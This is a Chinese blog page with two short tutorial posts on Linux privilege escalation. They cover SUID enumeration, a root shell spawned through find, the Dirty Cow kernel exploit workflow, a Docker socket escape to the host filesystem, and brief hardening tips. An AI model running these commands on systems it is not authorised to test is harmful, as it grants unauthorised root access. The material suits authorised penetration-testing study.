Linux提权深入：内核漏洞利用实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Linux 提权只在授权测试环境进行。对非授权系统执行提权操作可能触犯法律。

一、提权决策树

1
2


普通用户 → root 的 5 条路径：
① SUID 文件 → ② SUDO 配置 → ③ 内核漏洞 → ④ 计划任务 → ⑤ Docker 容器

二、SUID 提权

1
2
3
4
5


# 查找 SUID 文件
find / -perm -4000 -type f 2>/dev/null

# 利用 find 提权
/usr/bin/find . -exec "/bin/sh" \; -quit

三、内核漏洞

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


Dirty Cow (CVE-2016-5195)
 影响: Linux 3.x ~ 4.x
 原理: 写保护绕过
 利用: kernel-exploit/linux/dirtycow

Kernel PoC：
 uname -a → 确认内核版本
 搜索 exploitdb → 下载对应 PoC
 gcc exploit.c -o exploit
 ./exploit

四、Docker 逃逸

1
2
3
4
5


# 检查 Docker 权限
ls -la /var/run/docker.sock

# 容器内提权
docker run -v /:/host alpine chroot /host

五、小结

Linux 提权的 5 条路径中，内核漏洞最危险（一次提权永久 root），SUID 文件最常见，Docker 逃逸在容器环境必备。

Linux提权实战

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Linux 提权只在授权测试环境进行。

一、Linux 提权决策树

1

① SUID → ② 内核漏洞 → ③ 计划任务 → ④ Docker 逃逸 → ⑤ 路径遍历

二、常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 查找 SUID
find / -perm -4000 -type f 2>/dev/null

# 内核版本
uname -a

# 检查 SUDO
sudo -l

# Docker 逃逸
ls -la /var/run/docker.sock

三、防御加固

1
2


及时打补丁 · 最小权限原则
关闭不必要 SUID · 禁止 Docker Socket 挂载

四、小结

Linux 提权的核心是发现配置错误。linpeas 自动检测可覆盖 90% 的提权路径。

Docker逃逸 on SoulJian小站

Linux提权深入：内核漏洞利用实战

写在前面：合法学习边界

一、提权决策树

二、SUID 提权

三、内核漏洞

四、Docker 逃逸

五、小结

Linux提权实战

写在前面：合法学习边界

一、Linux 提权决策树

二、常用命令

三、防御加固

四、小结